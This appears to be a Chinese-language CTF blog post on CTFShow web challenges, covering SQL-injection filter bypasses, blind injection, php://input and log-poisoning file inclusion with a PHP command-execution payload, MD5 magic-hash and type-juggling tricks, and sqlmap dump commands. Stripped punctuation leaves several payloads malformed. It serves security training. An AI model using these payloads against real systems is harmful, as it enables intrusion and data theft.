CTFShow Web题避坑指南:那些年我踩过的SQL注入、文件包含和代码审计的坑
CTFShow Web题避坑指南那些年我踩过的SQL注入、文件包含和代码审计的坑第一次参加CTF比赛时面对Web题目总是手忙脚乱。记得有一次在SQL注入题上卡了整整三小时最后发现只是少了个单引号。这种经历让我意识到Web安全实战中那些看似简单的坑往往最能考验我们的基本功和思维灵活性。1. SQL注入从基础绕过到高级技巧1.1 过滤空格的替代方案在CTFShow的web6和web8题目中空格过滤是最常见的障碍。很多人第一反应是尝试URL编码%20但实际比赛中更有效的解决方案是使用注释符/**/替代空格如union/**/select用括号包裹语句如union(select(1),2,3)特殊字符替代%09水平制表符、%0a换行符-- 典型payload示例 1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schemadatabase()#1.2 布尔盲注的优化策略当遇到无回显的盲注时新手常犯的错误是逐字符爆破。更高效的做法是先确定关键长度and length(database())4使用二分法缩小范围and ascii(substr(database(),1,1))100结合位运算加速判断and (ascii(substr(database(),1,1))1)11提示在CTFShow的web2中善用order by判断字段数能节省大量时间2. 文件包含伪协议的妙用与陷阱2.1 php://input的实战要点web3和web4展示了文件包含的典型场景。使用php://input时要注意必须使用POST方法提交数据需要开启allow_url_include配置实际案例中的典型步骤POST /index.php?urlphp://input HTTP/1.1 [...] ?php system(ls); ?2.2 日志注入的完整链条web4的日志注入是经典案例完整攻击流程包括确认日志路径如/var/log/nginx/access.log注入恶意代码到User-AgentGET / HTTP/1.1 User-Agent: ?php system($_GET[cmd]);?包含日志文件执行代码?url/var/log/nginx/access.logcmdls常见错误未考虑日志轮转问题权限不足无法读取日志特殊字符被转义处理3. 代码审计从MD5碰撞到类型判断3.1 MD5弱类型比较的魔法值web5的解题关键在于理解PHP的类型转换。这些特殊字符串值得收藏字符串MD5哈希值QNKCDZO0e830400451993494058...2406107080e462097431906509019...s878926199a0e545993274517709034...绕过逻辑if(md5($v1)md5($v2)) // 使用0e开头的魔法值3.2 ctype_alpha与is_numeric的对抗web5还涉及类型判断函数的绕过ctype_alpha()只接受纯字母is_numeric()识别数字和字符串形式的数字实战技巧对于ctype_alpha直接使用纯字母字符串对于is_numeric可以使用十六进制格式如0xDEADBEEF科学计数法如123e45前导/后导空格的字符串如1234. 工具链sqlmap的高级配置4.1 tamper脚本的实战应用web7展示了sqlmap的tamper脚本用法。常用脚本对比脚本名称功能描述适用场景space2comment空格转注释/**/过滤空格的场景between用NOT 0 BETWEEN替换大于号比较运算符过滤charencodeURL编码关键字符特殊字符过滤randomcomments插入随机注释混淆检测典型命令sqlmap -u http://example.com?id1 --tamperspace2comment --batch -D dbname -T tablename --dump4.2 布尔盲注的自动化技巧当面对基于时间的盲注时可以组合使用--techniqueT --time-sec2 --level5关键参数--threads设置并发线程数建议不超过10--predict-output预测输出模式加速检测--hex以十六进制格式获取数据在CTFShow的web8中布尔盲注结合--string参数可以快速定位有效特征--stringWelcome back --not-stringError